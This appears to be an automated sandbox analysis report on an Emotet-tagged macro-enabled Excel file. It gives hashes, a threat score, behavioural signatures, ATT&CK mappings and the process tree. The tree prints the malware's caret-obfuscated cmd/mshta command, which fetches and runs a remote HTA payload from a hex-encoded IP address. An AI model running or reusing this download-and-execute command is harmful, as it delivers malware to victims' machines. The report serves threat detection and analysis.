Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 06:03

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Report Analysis Logs

General

  • Target

    bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603.xlsm

  • Size

    115KB

  • MD5

    cb5ae08f0635dff32c684570750108b5

  • SHA1

    33c65f18d7f753d82cb4ac73540d5e53acb61d5f

  • SHA256

    bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603

  • SHA512

    4728bc8629c0584e23d02d4705ce607c6dd76740f4b64b089c8df5dc30f3fd3bec6d6dd4e39ab0bddb4da4fad6bc184496f580232555f74148db38455084f564

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:848
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1700
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1008
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:1220

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Credential Access

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

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    Downloads

    • memory/848-115-0x00007FFE91410000-0x00007FFE91420000-memory.dmp
      Filesize

      64KB

      Download
    • memory/848-116-0x00007FFE91410000-0x00007FFE91420000-memory.dmp
      Filesize

      64KB

      Download
    • memory/848-117-0x00007FFE91410000-0x00007FFE91420000-memory.dmp
      Filesize

      64KB

      Download
    • memory/848-118-0x00007FFE91410000-0x00007FFE91420000-memory.dmp
      Filesize

      64KB

      Download
    • memory/848-121-0x00007FFE91410000-0x00007FFE91420000-memory.dmp
      Filesize

      64KB

      Download
    • memory/848-128-0x00007FFE8D940000-0x00007FFE8D950000-memory.dmp
      Filesize

      64KB

      Download
    • memory/848-129-0x00007FFE8D940000-0x00007FFE8D950000-memory.dmp
      Filesize

      64KB

      Download